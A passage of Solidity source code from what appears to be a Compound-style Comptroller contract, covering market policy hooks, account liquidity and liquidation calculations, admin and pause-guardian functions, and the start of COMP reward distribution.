Market storage marketToExit = markets[address(cToken)];
/* Return true if the sender is not already ‘in’ the market */
if (!marketToExit.accountMembership[msg.sender]) {
return uint(Error.NO_ERROR);
}
/* Set cToken account membership to false */
delete marketToExit.accountMembership[msg.sender];
/* Delete cToken from the account’s list of assets */
// load into memory for faster iteration
CToken[] memory userAssetList = accountAssets[msg.sender];
uint len = userAssetList.length;
uint assetIndex = len;
for (uint i = 0; i < len; i++) {
if (userAssetList[i] == cToken) {
assetIndex = i;
break;
}
}
// We *must* have found the asset in the list or our redundant data structure is broken
assert(assetIndex < len);
// copy last item in list to location of item to be removed, reduce length by 1
CToken[] storage storedList = accountAssets[msg.sender];
storedList[assetIndex] = storedList[storedList.length - 1];
storedList.pop();
emit MarketExited(cToken, msg.sender);
return uint(Error.NO_ERROR);
}
/*** Policy Hooks ***/
/**
* @notice Checks if the account should be allowed to mint tokens in the given market
* @param cToken The market to verify the mint against
* @param minter The account which would get the minted tokens
* @param mintAmount The amount of underlying being supplied to the market in exchange for tokens
* @return 0 if the mint is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function mintAllowed(address cToken, address minter, uint mintAmount) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!mintGuardianPaused[cToken], "mint is paused");
// Shh - currently unused
minter;
mintAmount;
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
// Keep the flywheel moving
updateCompSupplyIndex(cToken);
distributeSupplierComp(cToken, minter, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates mint and reverts on rejection. May emit logs.
* @param cToken Asset being minted
* @param minter The address minting the tokens
* @param actualMintAmount The amount of the underlying asset being minted
* @param mintTokens The number of tokens being minted
*/
function mintVerify(address cToken, address minter, uint actualMintAmount, uint mintTokens) external override {
// Shh - currently unused
cToken;
minter;
actualMintAmount;
mintTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to redeem tokens in the given market
* @param cToken The market to verify the redeem against
* @param redeemer The account which would redeem the tokens
* @param redeemTokens The number of cTokens to exchange for the underlying asset in the market
* @return 0 if the redeem is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function redeemAllowed(address cToken, address redeemer, uint redeemTokens) external override returns (uint) {
uint allowed = redeemAllowedInternal(cToken, redeemer, redeemTokens);
if (allowed != uint(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel moving
updateCompSupplyIndex(cToken);
distributeSupplierComp(cToken, redeemer, false);
return uint(Error.NO_ERROR);
}
function redeemAllowedInternal(address cToken, address redeemer, uint redeemTokens) internal returns (uint) {
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
/* If the redeemer is not 'in' the market, then we can bypass the liquidity check */
if (!markets[cToken].accountMembership[redeemer]) {
return uint(Error.NO_ERROR);
}
/* Otherwise, perform a hypothetical liquidity check to guard against shortfall */
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(redeemer, CToken(cToken), redeemTokens, 0);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates redeem and reverts on rejection. May emit logs.
* @param cToken Asset being redeemed
* @param redeemer The address redeeming the tokens
* @param redeemAmount The amount of the underlying asset being redeemed
* @param redeemTokens The number of tokens being redeemed
*/
function redeemVerify(address cToken, address redeemer, uint redeemAmount, uint redeemTokens) external override {
// Shh - currently unused
cToken;
redeemer;
// Require tokens is zero or amount is also zero
if (redeemTokens == 0 && redeemAmount > 0) {
revert("redeemTokens zero");
}
}
/**
* @notice Checks if the account should be allowed to borrow the underlying asset of the given market
* @param cToken The market to verify the borrow against
* @param borrower The account which would borrow the asset
* @param borrowAmount The amount of underlying the account would borrow
* @return 0 if the borrow is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function borrowAllowed(address cToken, address borrower, uint borrowAmount) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!borrowGuardianPaused[cToken], "borrow is paused");
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (!markets[cToken].accountMembership[borrower]) {
// only cTokens may call borrowAllowed if borrower not in market
require(msg.sender == cToken, "sender must be cToken");
// attempt to add borrower to the market
Error err = addToMarketInternal(CToken(msg.sender), borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
// it should be impossible to break the important invariant
assert(markets[cToken].accountMembership[borrower]);
}
if (oracle.getUnderlyingPrice(CToken(cToken)) == 0) {
return uint(Error.PRICE_ERROR);
}
uint borrowCap = borrowCaps[cToken];
// Borrow cap of 0 corresponds to unlimited borrowing
if (borrowCap != 0) {
uint totalBorrows = CToken(cToken).totalBorrows();
(MathError mathErr, uint nextTotalBorrows) = addUInt(totalBorrows, borrowAmount);
require(mathErr == MathError.NO_ERROR, "total borrows overflow");
require(nextTotalBorrows < borrowCap, "market borrow cap reached");
}
(Error err, , uint shortfall) = getHypotheticalAccountLiquidityInternal(borrower, CToken(cToken), 0, borrowAmount);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall > 0) {
return uint(Error.INSUFFICIENT_LIQUIDITY);
}
// Keep the flywheel moving
Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()});
updateCompBorrowIndex(cToken, borrowIndex);
distributeBorrowerComp(cToken, borrower, borrowIndex, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates borrow and reverts on rejection. May emit logs.
* @param cToken Asset whose underlying is being borrowed
* @param borrower The address borrowing the underlying
* @param borrowAmount The amount of the underlying asset requested to borrow
*/
function borrowVerify(address cToken, address borrower, uint borrowAmount) external override {
// Shh - currently unused
cToken;
borrower;
borrowAmount;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to repay a borrow in the given market
* @param cToken The market to verify the repay against
* @param payer The account which would repay the asset
* @param borrower The account which would borrowed the asset
* @param repayAmount The amount of the underlying asset the account would repay
* @return 0 if the repay is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function repayBorrowAllowed(
address cToken,
address payer,
address borrower,
uint repayAmount) external override returns (uint) {
// Shh - currently unused
payer;
borrower;
repayAmount;
if (!markets[cToken].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
// Keep the flywheel moving
Exp memory borrowIndex = Exp({mantissa: CToken(cToken).borrowIndex()});
updateCompBorrowIndex(cToken, borrowIndex);
distributeBorrowerComp(cToken, borrower, borrowIndex, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates repayBorrow and reverts on rejection. May emit logs.
* @param cToken Asset being repaid
* @param payer The address repaying the borrow
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function repayBorrowVerify(
address cToken,
address payer,
address borrower,
uint actualRepayAmount,
uint borrowerIndex) external override {
// Shh - currently unused
cToken;
payer;
borrower;
actualRepayAmount;
borrowerIndex;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the liquidation should be allowed to occur
* @param cTokenBorrowed Asset which was borrowed by the borrower
* @param cTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param repayAmount The amount of underlying being repaid
*/
function liquidateBorrowAllowed(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint repayAmount) external override returns (uint) {
// Shh - currently unused
liquidator;
if (!markets[cTokenBorrowed].isListed || !markets[cTokenCollateral].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
/* The borrower must have shortfall in order to be liquidatable */
(Error err, , uint shortfall) = getAccountLiquidityInternal(borrower);
if (err != Error.NO_ERROR) {
return uint(err);
}
if (shortfall == 0) {
return uint(Error.INSUFFICIENT_SHORTFALL);
}
/* The liquidator may not repay more than what is allowed by the closeFactor */
uint borrowBalance = CToken(cTokenBorrowed).borrowBalanceStored(borrower);
(MathError mathErr, uint maxClose) = mulScalarTruncate(Exp({mantissa: closeFactorMantissa}), borrowBalance);
if (mathErr != MathError.NO_ERROR) {
return uint(Error.MATH_ERROR);
}
if (repayAmount > maxClose) {
return uint(Error.TOO_MUCH_REPAY);
}
return uint(Error.NO_ERROR);
}
/**
* @notice Validates liquidateBorrow and reverts on rejection. May emit logs.
* @param cTokenBorrowed Asset which was borrowed by the borrower
* @param cTokenCollateral Asset which was used as collateral and will be seized
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param actualRepayAmount The amount of underlying being repaid
*/
function liquidateBorrowVerify(
address cTokenBorrowed,
address cTokenCollateral,
address liquidator,
address borrower,
uint actualRepayAmount,
uint seizeTokens) external override {
// Shh - currently unused
cTokenBorrowed;
cTokenCollateral;
liquidator;
borrower;
actualRepayAmount;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the seizing of assets should be allowed to occur
* @param cTokenCollateral Asset which was used as collateral and will be seized
* @param cTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeAllowed(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!seizeGuardianPaused, "seize is paused");
// Shh - currently unused
seizeTokens;
if (!markets[cTokenCollateral].isListed || !markets[cTokenBorrowed].isListed) {
return uint(Error.MARKET_NOT_LISTED);
}
if (CToken(cTokenCollateral).comptroller() != CToken(cTokenBorrowed).comptroller()) {
return uint(Error.COMPTROLLER_MISMATCH);
}
// Keep the flywheel moving
updateCompSupplyIndex(cTokenCollateral);
distributeSupplierComp(cTokenCollateral, borrower, false);
distributeSupplierComp(cTokenCollateral, liquidator, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates seize and reverts on rejection. May emit logs.
* @param cTokenCollateral Asset which was used as collateral and will be seized
* @param cTokenBorrowed Asset which was borrowed by the borrower
* @param liquidator The address repaying the borrow and seizing the collateral
* @param borrower The address of the borrower
* @param seizeTokens The number of collateral tokens to seize
*/
function seizeVerify(
address cTokenCollateral,
address cTokenBorrowed,
address liquidator,
address borrower,
uint seizeTokens) external override {
// Shh - currently unused
cTokenCollateral;
cTokenBorrowed;
liquidator;
borrower;
seizeTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/**
* @notice Checks if the account should be allowed to transfer tokens in the given market
* @param cToken The market to verify the transfer against
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of cTokens to transfer
* @return 0 if the transfer is allowed, otherwise a semi-opaque error code (See ErrorReporter.sol)
*/
function transferAllowed(address cToken, address src, address dst, uint transferTokens) external override returns (uint) {
// Pausing is a very serious situation - we revert to sound the alarms
require(!transferGuardianPaused, "transfer is paused");
// Currently the only consideration is whether or not
// the src is allowed to redeem this many tokens
uint allowed = redeemAllowedInternal(cToken, src, transferTokens);
if (allowed != uint(Error.NO_ERROR)) {
return allowed;
}
// Keep the flywheel moving
updateCompSupplyIndex(cToken);
distributeSupplierComp(cToken, src, false);
distributeSupplierComp(cToken, dst, false);
return uint(Error.NO_ERROR);
}
/**
* @notice Validates transfer and reverts on rejection. May emit logs.
* @param cToken Asset being transferred
* @param src The account which sources the tokens
* @param dst The account which receives the tokens
* @param transferTokens The number of cTokens to transfer
*/
function transferVerify(address cToken, address src, address dst, uint transferTokens) external override {
// Shh - currently unused
cToken;
src;
dst;
transferTokens;
// Shh - we don't ever want this hook to be marked pure
if (false) {
maxAssets = maxAssets;
}
}
/*** Liquidity/Liquidation Calculations ***/
/**
* @dev Local vars for avoiding stack-depth limits in calculating account liquidity.
* Note that `cTokenBalance` is the number of cTokens the account owns in the market,
* whereas `borrowBalance` is the amount of underlying that the account has borrowed.
*/
struct AccountLiquidityLocalVars {
uint sumCollateral;
uint sumBorrowPlusEffects;
uint cTokenBalance;
uint borrowBalance;
uint exchangeRateMantissa;
uint oraclePriceMantissa;
Exp collateralFactor;
Exp exchangeRate;
Exp oraclePrice;
Exp tokensToDenom;
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code (semi-opaque),
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidity(address account) public returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0);
return (uint(err), liquidity, shortfall);
}
/**
* @notice Determine the current account liquidity wrt collateral requirements
* @return (possible error code,
account liquidity in excess of collateral requirements,
* account shortfall below collateral requirements)
*/
function getAccountLiquidityInternal(address account) internal returns (Error, uint, uint) {
return getHypotheticalAccountLiquidityInternal(account, CToken(0), 0, 0);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param cTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @return (possible error code (semi-opaque),
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidity(
address account,
address cTokenModify,
uint redeemTokens,
uint borrowAmount) public returns (uint, uint, uint) {
(Error err, uint liquidity, uint shortfall) = getHypotheticalAccountLiquidityInternal(account, CToken(cTokenModify), redeemTokens, borrowAmount);
return (uint(err), liquidity, shortfall);
}
/**
* @notice Determine what the account liquidity would be if the given amounts were redeemed/borrowed
* @param cTokenModify The market to hypothetically redeem/borrow in
* @param account The account to determine liquidity for
* @param redeemTokens The number of tokens to hypothetically redeem
* @param borrowAmount The amount of underlying to hypothetically borrow
* @dev Note that we calculate the exchangeRateStored for each collateral cToken using stored data,
* without calculating accumulated interest.
* @return (possible error code,
hypothetical account liquidity in excess of collateral requirements,
* hypothetical account shortfall below collateral requirements)
*/
function getHypotheticalAccountLiquidityInternal(
address account,
CToken cTokenModify,
uint redeemTokens,
uint borrowAmount) internal returns (Error, uint, uint) {
AccountLiquidityLocalVars memory vars; // Holds all our calculation results
uint oErr;
MathError mErr;
// For each asset the account is in
CToken[] memory assets = accountAssets[account];
for (uint i = 0; i < assets.length; i++) {
CToken asset = assets[i];
// Read the balances and exchange rate from the cToken
(oErr, vars.cTokenBalance, vars.borrowBalance, vars.exchangeRateMantissa) = asset.getAccountSnapshot(account);
if (oErr != 0) { // semi-opaque error code, we assume NO_ERROR == 0 is invariant between upgrades
return (Error.SNAPSHOT_ERROR, 0, 0);
}
vars.collateralFactor = Exp({mantissa: markets[address(asset)].collateralFactorMantissa});
vars.exchangeRate = Exp({mantissa: vars.exchangeRateMantissa});
// Get the normalized price of the asset
vars.oraclePriceMantissa = oracle.getUnderlyingPrice(asset);
if (vars.oraclePriceMantissa == 0) {
return (Error.PRICE_ERROR, 0, 0);
}
vars.oraclePrice = Exp({mantissa: vars.oraclePriceMantissa});
// Pre-compute a conversion factor from tokens -> ether (normalized price value)
(mErr, vars.tokensToDenom) = mulExp3(vars.collateralFactor, vars.exchangeRate, vars.oraclePrice);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// sumCollateral += tokensToDenom * cTokenBalance
(mErr, vars.sumCollateral) = mulScalarTruncateAddUInt(vars.tokensToDenom, vars.cTokenBalance, vars.sumCollateral);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// sumBorrowPlusEffects += oraclePrice * borrowBalance
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, vars.borrowBalance, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// Calculate effects of interacting with cTokenModify
if (asset == cTokenModify) {
// redeem effect
// sumBorrowPlusEffects += tokensToDenom * redeemTokens
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.tokensToDenom, redeemTokens, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
// borrow effect
// sumBorrowPlusEffects += oraclePrice * borrowAmount
(mErr, vars.sumBorrowPlusEffects) = mulScalarTruncateAddUInt(vars.oraclePrice, borrowAmount, vars.sumBorrowPlusEffects);
if (mErr != MathError.NO_ERROR) {
return (Error.MATH_ERROR, 0, 0);
}
}
}
// These are safe, as the underflow condition is checked first
if (vars.sumCollateral > vars.sumBorrowPlusEffects) {
return (Error.NO_ERROR, vars.sumCollateral - vars.sumBorrowPlusEffects, 0);
} else {
return (Error.NO_ERROR, 0, vars.sumBorrowPlusEffects - vars.sumCollateral);
}
}
/**
* @notice Calculate number of tokens of collateral asset to seize given an underlying amount
* @dev Used in liquidation (called in cToken.liquidateBorrowFresh)
* @param cTokenBorrowed The address of the borrowed cToken
* @param cTokenCollateral The address of the collateral cToken
* @param actualRepayAmount The amount of cTokenBorrowed underlying to convert into cTokenCollateral tokens
* @return (errorCode, number of cTokenCollateral tokens to be seized in a liquidation)
*/
function liquidateCalculateSeizeTokens(address cTokenBorrowed, address cTokenCollateral, uint actualRepayAmount) external override returns (uint, uint) {
/* Read oracle prices for borrowed and collateral markets */
uint priceBorrowedMantissa = oracle.getUnderlyingPrice(CToken(cTokenBorrowed));
uint priceCollateralMantissa = oracle.getUnderlyingPrice(CToken(cTokenCollateral));
if (priceBorrowedMantissa == 0 || priceCollateralMantissa == 0) {
return (uint(Error.PRICE_ERROR), 0);
}
/*
* Get the exchange rate and calculate the number of collateral tokens to seize:
* seizeAmount = actualRepayAmount * liquidationIncentive * priceBorrowed / priceCollateral
* seizeTokens = seizeAmount / exchangeRate
* = actualRepayAmount * (liquidationIncentive * priceBorrowed) / (priceCollateral * exchangeRate)
*/
uint exchangeRateMantissa = CToken(cTokenCollateral).exchangeRateStored(); // Note: reverts on error
uint seizeTokens;
Exp memory numerator;
Exp memory denominator;
Exp memory ratio;
MathError mathErr;
(mathErr, numerator) = mulExp(liquidationIncentiveMantissa, priceBorrowedMantissa);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, denominator) = mulExp(priceCollateralMantissa, exchangeRateMantissa);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, ratio) = divExp(numerator, denominator);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
(mathErr, seizeTokens) = mulScalarTruncate(ratio, actualRepayAmount);
if (mathErr != MathError.NO_ERROR) {
return (uint(Error.MATH_ERROR), 0);
}
return (uint(Error.NO_ERROR), seizeTokens);
}
/*** Admin Functions ***/
/**
* @notice Sets a new price oracle for the comptroller
* @dev Admin function to set a new price oracle
* @return uint 0=success, otherwise a failure (see ErrorReporter.sol for details)
*/
function _setPriceOracle(PriceOracle newOracle) public returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PRICE_ORACLE_OWNER_CHECK);
}
// Track the old oracle for the comptroller
PriceOracle oldOracle = oracle;
// Set comptroller's oracle to newOracle
oracle = newOracle;
// Emit NewPriceOracle(oldOracle, newOracle)
emit NewPriceOracle(oldOracle, newOracle);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the closeFactor used when liquidating borrows
* @dev Admin function to set closeFactor
* @param newCloseFactorMantissa New close factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCloseFactor(uint newCloseFactorMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_CLOSE_FACTOR_OWNER_CHECK);
}
Exp memory newCloseFactorExp = Exp({mantissa: newCloseFactorMantissa});
Exp memory lowLimit = Exp({mantissa: closeFactorMinMantissa});
if (lessThanOrEqualExp(newCloseFactorExp, lowLimit)) {
return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);
}
Exp memory highLimit = Exp({mantissa: closeFactorMaxMantissa});
if (lessThanExp(highLimit, newCloseFactorExp)) {
return fail(Error.INVALID_CLOSE_FACTOR, FailureInfo.SET_CLOSE_FACTOR_VALIDATION);
}
uint oldCloseFactorMantissa = closeFactorMantissa;
closeFactorMantissa = newCloseFactorMantissa;
emit NewCloseFactor(oldCloseFactorMantissa, closeFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets the collateralFactor for a market
* @dev Admin function to set per-market collateralFactor
* @param cToken The market to set the factor on
* @param newCollateralFactorMantissa The new collateral factor, scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setCollateralFactor(CToken cToken, uint newCollateralFactorMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_COLLATERAL_FACTOR_OWNER_CHECK);
}
// Verify market is listed
Market storage market = markets[address(cToken)];
if (!market.isListed) {
return fail(Error.MARKET_NOT_LISTED, FailureInfo.SET_COLLATERAL_FACTOR_NO_EXISTS);
}
Exp memory newCollateralFactorExp = Exp({mantissa: newCollateralFactorMantissa});
// Check collateral factor <= 0.9
Exp memory highLimit = Exp({mantissa: collateralFactorMaxMantissa});
if (lessThanExp(highLimit, newCollateralFactorExp)) {
return fail(Error.INVALID_COLLATERAL_FACTOR, FailureInfo.SET_COLLATERAL_FACTOR_VALIDATION);
}
// If collateral factor != 0, fail if price == 0
if (newCollateralFactorMantissa != 0 && oracle.getUnderlyingPrice(cToken) == 0) {
return fail(Error.PRICE_ERROR, FailureInfo.SET_COLLATERAL_FACTOR_WITHOUT_PRICE);
}
// Set market's collateral factor to new collateral factor, remember old value
uint oldCollateralFactorMantissa = market.collateralFactorMantissa;
market.collateralFactorMantissa = newCollateralFactorMantissa;
// Emit event with asset, old collateral factor, and new collateral factor
emit NewCollateralFactor(cToken, oldCollateralFactorMantissa, newCollateralFactorMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets maxAssets which controls how many markets can be entered
* @dev Admin function to set maxAssets
* @param newMaxAssets New max assets
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setMaxAssets(uint newMaxAssets) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_MAX_ASSETS_OWNER_CHECK);
}
uint oldMaxAssets = maxAssets;
maxAssets = newMaxAssets;
emit NewMaxAssets(oldMaxAssets, newMaxAssets);
return uint(Error.NO_ERROR);
}
/**
* @notice Sets liquidationIncentive
* @dev Admin function to set liquidationIncentive
* @param newLiquidationIncentiveMantissa New liquidationIncentive scaled by 1e18
* @return uint 0=success, otherwise a failure. (See ErrorReporter for details)
*/
function _setLiquidationIncentive(uint newLiquidationIncentiveMantissa) external returns (uint) {
// Check caller is admin
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_LIQUIDATION_INCENTIVE_OWNER_CHECK);
}
// Check de-scaled min <= newLiquidationIncentive <= max
Exp memory newLiquidationIncentive = Exp({mantissa: newLiquidationIncentiveMantissa});
Exp memory minLiquidationIncentive = Exp({mantissa: liquidationIncentiveMinMantissa});
if (lessThanExp(newLiquidationIncentive, minLiquidationIncentive)) {
return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);
}
Exp memory maxLiquidationIncentive = Exp({mantissa: liquidationIncentiveMaxMantissa});
if (lessThanExp(maxLiquidationIncentive, newLiquidationIncentive)) {
return fail(Error.INVALID_LIQUIDATION_INCENTIVE, FailureInfo.SET_LIQUIDATION_INCENTIVE_VALIDATION);
}
// Save current value for use in log
uint oldLiquidationIncentiveMantissa = liquidationIncentiveMantissa;
// Set liquidation incentive to new incentive
liquidationIncentiveMantissa = newLiquidationIncentiveMantissa;
// Emit event with old incentive, new incentive
emit NewLiquidationIncentive(oldLiquidationIncentiveMantissa, newLiquidationIncentiveMantissa);
return uint(Error.NO_ERROR);
}
/**
* @notice Add the market to the markets mapping and set it as listed
* @dev Admin function to set isListed and add support for the market
* @param cToken The address of the market (token) to list
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _supportMarket(CToken cToken) external returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SUPPORT_MARKET_OWNER_CHECK);
}
if (markets[address(cToken)].isListed) {
return fail(Error.MARKET_ALREADY_LISTED, FailureInfo.SUPPORT_MARKET_EXISTS);
}
cToken.isCToken(); // Sanity check to make sure its really a CToken
markets[address(cToken)] = Market({isListed: true, isComped: false, collateralFactorMantissa: 0});
_addMarketInternal(address(cToken));
emit MarketListed(cToken);
return uint(Error.NO_ERROR);
}
function _addMarketInternal(address cToken) internal {
for (uint i = 0; i < allMarkets.length; i ++) {
require(allMarkets[i] != CToken(cToken), "market already added");
}
allMarkets.push(CToken(cToken));
}
/**
* @notice Set the given borrow caps for the given cToken markets. Borrowing that brings total borrows to or above borrow cap will revert.
* @dev Admin or borrowCapGuardian function to set the borrow caps. A borrow cap of 0 corresponds to unlimited borrowing.
* @param cTokens The addresses of the markets (tokens) to change the borrow caps for
* @param newBorrowCaps The new borrow cap values in underlying to be set. A value of 0 corresponds to unlimited borrowing.
*/
function _setMarketBorrowCaps(CToken[] calldata cTokens, uint[] calldata newBorrowCaps) external {
require(msg.sender == admin || msg.sender == borrowCapGuardian, "not an admin");
uint numMarkets = cTokens.length;
uint numBorrowCaps = newBorrowCaps.length;
require(numMarkets != 0 && numMarkets == numBorrowCaps, "invalid input");
for(uint i = 0; i < numMarkets; i++) {
borrowCaps[address(cTokens[i])] = newBorrowCaps[i];
emit NewBorrowCap(cTokens[i], newBorrowCaps[i]);
}
}
/**
* @notice Admin function to change the Borrow Cap Guardian
* @param newBorrowCapGuardian The address of the new Borrow Cap Guardian
*/
function _setBorrowCapGuardian(address newBorrowCapGuardian) external {
require(msg.sender == admin, "not an admin");
// Save current value for inclusion in log
address oldBorrowCapGuardian = borrowCapGuardian;
// Store borrowCapGuardian with value newBorrowCapGuardian
borrowCapGuardian = newBorrowCapGuardian;
// Emit NewBorrowCapGuardian(OldBorrowCapGuardian, NewBorrowCapGuardian)
emit NewBorrowCapGuardian(oldBorrowCapGuardian, newBorrowCapGuardian);
}
/**
* @notice Admin function to change the Pause Guardian
* @param newPauseGuardian The address of the new Pause Guardian
* @return uint 0=success, otherwise a failure. (See enum Error for details)
*/
function _setPauseGuardian(address newPauseGuardian) public returns (uint) {
if (msg.sender != admin) {
return fail(Error.UNAUTHORIZED, FailureInfo.SET_PAUSE_GUARDIAN_OWNER_CHECK);
}
// Save current value for inclusion in log
address oldPauseGuardian = pauseGuardian;
// Store pauseGuardian with value newPauseGuardian
pauseGuardian = newPauseGuardian;
// Emit NewPauseGuardian(OldPauseGuardian, NewPauseGuardian)
emit NewPauseGuardian(oldPauseGuardian, pauseGuardian);
return uint(Error.NO_ERROR);
}
function _setMintPaused(CToken cToken, bool state) public returns (bool) {
require(markets[address(cToken)].isListed, "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "not an admin");
mintGuardianPaused[address(cToken)] = state;
emit ActionPaused(cToken, "Mint", state);
return state;
}
function _setBorrowPaused(CToken cToken, bool state) public returns (bool) {
require(markets[address(cToken)].isListed, "cannot pause a market that is not listed");
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "not an admin");
borrowGuardianPaused[address(cToken)] = state;
emit ActionPaused(cToken, "Borrow", state);
return state;
}
function _setTransferPaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "not an admin");
transferGuardianPaused = state;
emit ActionPaused("Transfer", state);
return state;
}
function _setSeizePaused(bool state) public returns (bool) {
require(msg.sender == pauseGuardian || msg.sender == admin, "only pause guardian and admin can pause");
require(msg.sender == admin || state == true, "not an admin");
seizeGuardianPaused = state;
emit ActionPaused("Seize", state);
return state;
}
function _become(Unitroller unitroller) public {
require(msg.sender == unitroller.admin(), "only unitroller admin can change brains");
require(unitroller._acceptImplementation() == 0, "change not authorized");
}
/**
* @notice Checks caller is admin, or this contract is becoming the new implementation
*/
function adminOrInitializing() internal view returns (bool) {
return msg.sender == admin || msg.sender == comptrollerImplementation;
}
/*** Comp Distribution ***/
/**
* @notice Recalculate and update COMP speeds for all COMP markets
*/
function refreshCompSpeeds() public {
require(msg.sender == tx.origin, "only externally owned accounts may refresh speeds");
refreshCompSpeedsInternal();
}
function refreshCompSpeedsInternal() internal {
CToken[] memory allMarkets_ = allMarkets;
for (uint i = 0; i < allMarkets_.length; i++) {
CToken cToken = allMarkets_[i];
Exp memory borrowIndex = Exp({mantissa: cToken.borrowIndex()});
updateCompSupplyIndex(address(cToken));
updateCompBorrowIndex(address(cToken), borrowIndex);
}
Exp memory totalUtility = Exp({mantissa: 0});
Exp[] memory utilities = new Exp[](allMarkets_.length);
for (uint i = 0; i < allMarkets_.length; i++) {
CToken cToken = allMarkets_[i];
if (markets[address(cToken)].isComped) {
Exp memory assetPrice = Exp({mantissa: oracle.getUnderlyingPrice(cToken)});
Exp memory utility = mul_(assetPrice, cToken.totalBorrows());
utilities[i] = utility;
totalUtility = add_(totalUtility, utility);
}
}
